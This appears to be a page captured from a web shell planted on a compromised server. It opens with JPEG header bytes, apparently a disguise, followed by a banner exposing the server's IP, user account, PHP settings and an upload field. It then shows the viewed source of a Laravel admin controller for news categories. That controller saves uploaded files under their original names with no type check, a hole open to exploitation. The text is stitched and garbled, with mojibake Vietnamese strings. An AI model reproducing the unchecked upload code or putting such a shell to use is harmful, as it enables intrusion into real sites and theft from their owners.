ÿØÿà JFIF H H ÿÛ C ÿÛ Cÿ " ÿÄ ÿÄ ÿÚ ±5¬€ ÿÄ àÿÚ ÿÄ ÀÿÚ ? ÿÄ ÀÿÚ ? ÿÄ àÿÚ ? ÿÄ àÿÚ ?! ÿÚ ÿÄ ÀÿÚ ? ÿÄ ÀÿÚ ? ÿÄ àÿÚ ? ÿÙ
| Server IP : 160.25.81.117 / Your IP : 216.73.216.137 Web Server : Apache/2 System : Linux sv05.hilab.cloud 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64 User : bellizen ( 1045) PHP Version : 7.2.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/bellizen/domains/bellizeno.com/public_html/app/Http/Controllers/Admin/ |
Upload File : |
<?php
namespace App\Http\Controllers\Admin;
use App\Http\Requests;
use App\Http\Controllers\Controller;
use App\Http\Requests\NewsCateRequest;
use Illuminate\Http\Request;
use App\NewsCate;
use Input, File;
use Validator;
class NewsCateController extends Controller {
public function getDanhSach()
{
if($_GET['type']=='tin-tuc') $trang='tin tức';
else if($_GET['type']=='dich-vu') $trang='dich vụ';
else if($_GET['type']=='bai-viet') $trang='bà i viết';
else $trang = "bà i viết";
$data = NewsCate::all();
if(!empty($_GET['type'])){
$com=$_GET['type'];
}else{
$com='';
}
$data = NewsCate::select()->where('com' , $com)->get();
return view('admin.newscate.list', compact('data','trang'));
}
public function getAdd()
{
if($_GET['type']=='tin-tuc') $trang='tin tức';
else if($_GET['type']=='dich-vu') $trang='dich vụ';
else if($_GET['type']=='bai-viet') $trang='bà i viết';
else $trang = "bà i viết";
if(!empty($_GET['type'])){
$com=$_GET['type'];
}else{
$com='';
}
$parent = NewsCate::select('id','name','parent_id')->where('com' , $com)->get()->toArray();
return view('admin.newscate.add', compact('parent','trang'));
}
public function postAdd(NewsCateRequest $request)
{
$com= $request->txtCom;
$cate = new NewsCate;
$img = $request->file('fImages');
$path_img='upload/news';
$img_name='';
if(!empty($img)){
$img_name=time().'_'.$img->getClientOriginalName();
$img->move($path_img,$img_name);
}
$cate->photo = $img_name;
$cate->parent_id = $request->txtNewsCate;
$cate->name = $request->txtName;
$cate->name_eg = $request->txtName_eg;
$cate->alias = changeTitle($request->txtName);
$cate->mota = $request->txtDesc;
$cate->keyword = $request->txtKeyword;
$cate->description = $request->txtDescription;
$cate->stt = $request->stt;
$cate->com = $com;
if($request->status=='on'){
$cate->status = 1;
}else{
$cate->status = 0;
}
$cate->save();
return redirect('admin/newscate?type='.$com)->with('status','Thêm mới thà nh công !');
}
public function getEdit(Request $request)
{
if($_GET['type']=='tin-tuc') $trang='tin tức';
else if($_GET['type']=='dich-vu') $trang='dich vụ';
else if($_GET['type']=='bai-viet') $trang='bà i viết';
else $trang = "bà i viết";
if(!empty($_GET['type'])){
$com=$_GET['type'];
}else{
$com='';
}
$id= $request->get('id');
//Tìm article thông qua mã id tương ứng
$data = NewsCate::find($id);
if(!empty($data)){
if($request->get('hienthi')>0){
if($data->status == 1){
$data->status = 0;
}else{
$data->status = 1;
}
$data->update();
return redirect('admin/newscate?type='.$com)->with('status','Cáºp nháºt thà nh công !');
}
$parent = NewsCate::orderBy('stt', 'asc')->where('com' , $com)->get()->toArray();
// Gá»i view edit.blade.php hiển thị bải viết
return view('admin.newscate.edit',compact('data','parent','id','trang'));
}else{
$data = NewsCate::all();
//return redirect()->route('admin.newscate.index')->with('status','Dữ liệu không có thực');
return redirect('admin/newscate?type='.$com)->with('status','Dữ liệu không có thực !');
}
}
public function update(Request $request)
{
$this->validate($request,
["txtName" => "required"],
["txtName.required" => "Bạn chưa nháºp tên danh mục"]
);
if(!empty($_GET['type'])){
$com=$_GET['type'];
}else{
$com='';
}
$id=$request->get('id');
$news_cate = NewsCate::find($id);
if(!empty($news_cate)){
$img = $request->file('fImages');
$img_current = 'upload/news/'.$request->img_current;
if(!empty($img)){
$path_img='upload/news';
$img_name=time().'_'.$img->getClientOriginalName();
$img->move($path_img,$img_name);
$news_cate->photo = $img_name;
if (File::exists($img_current)) {
File::delete($img_current);
}
}
if($request->txtNewsCate!= $id && $request->txtNewsCate>0){
$news_cate->parent_id = $request->txtNewsCate;
}else{
$news_cate->parent_id = 0;
}
$news_cate->name = $request->txtName;
$news_cate->name_eg = $request->txtName_eg;
$news_cate->alias = changeTitle($request->txtName);
$news_cate->mota = $request->txtDesc;
$news_cate->title = $request->txtTitle;
$news_cate->keyword = $request->txtKeyword;
$news_cate->description = $request->txtDescription;
$news_cate->title_eg = $request->txtTitle_eg;
$news_cate->keyword_eg = $request->txtKeyword_eg;
$news_cate->description_eg = $request->txtDescription_eg;
$news_cate->stt = $request->stt;
$news_cate->com = $request->txtCom;
if($request->status=='on'){
$news_cate->status = 1;
}else{
$news_cate->status = 0;
}
$news_cate->save();
return redirect('admin/newscate/edit?id='.$id.'&type='.$com)->with('status','Cáºp nháºt thà nh công');
}else{
return redirect()->back()->with('status','Dữ liệu không có thực');
}
}
public function getDelete($id)
{
if(!empty($_GET['type'])){
$com=$_GET['type'];
}else{
$com='';
}
$product = NewsCate::findOrFail($id);
$product->delete();
return redirect('admin/newscate?type='.$com)->with('status','Xóa thà nh công');
}
public function getDeleteList($id){
if($_GET['type']=='tin-tuc') $trang='tin tức';
else if($_GET['type']=='dich-vu') $trang='dich vụ';
else if($_GET['type']=='bai-viet') $trang='bà i viết';
else $trang = "bà i viết";
if(!empty($_GET['type'])){
$com=$_GET['type'];
}else{
$com='';
}
$listid = explode(",",$id);
foreach($listid as $listid_item){
$product = NewsCate::findOrFail($listid_item);
$product->delete();
}
return redirect('admin/newscate?type='.$com)->with('status','Xóa thà nh công');
}
}